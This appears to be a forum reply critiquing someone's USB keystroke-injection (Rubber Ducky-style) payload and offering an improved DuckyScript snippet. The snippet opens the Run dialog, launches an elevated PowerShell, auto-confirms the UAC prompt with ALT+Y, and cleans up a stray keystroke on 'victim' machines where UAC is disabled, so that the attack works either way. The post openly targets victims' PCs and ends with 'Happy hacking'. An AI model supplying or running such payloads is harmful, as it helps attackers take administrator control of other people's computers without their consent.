I haven't tested it out, but just from quickly scrolling through the code I see a handful of ways to refactor the code and speed it up. It's also always a good idea to run any shell as administrator to avoid errors with user privileges. Lastly, if you choose to go the route of pressing 'ALT + Y' to select the 'Yes' option for the UAC popup, you should always account for any victim's system that has UAC disabled. If you don't account for them, whenever you do encounter one, the very first character typed into the shell will be a lowercase 'y'. Everything following will be rendered effectively useless. There are a few options to easily deal with that. The route I choose to go is:
REM -- This would be the beginning of the script. 2 second delay to allow USB to enumerate in victim's PC.
DELAY 2000
REM -- Press Win + R to open 'Run'.
GUI R
DELAY 100
REM -- Start Powershell as administrator (alternatively you can substitute 'CMD' if you prefer).
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 300
REM -- Press 'ALT + Y' to choose 'Yes' option for UAC dialog box.
ALT y
DELAY 300
REM -- To account for any victim with UAC disabled, cursor will shift left once and press 'DELETE' to remove lowercase 'y' from the shell.
REM -- Any victim with UAC enabled, pressing LEFTARROW + DELETE effectively does nothing, which allows us to account for both scenarios.
LEFTARROW
DELETE
<...>
Overall, nice work. I'll check it out in a bit to see how it performs :)
Happy hacking!
-Enzym3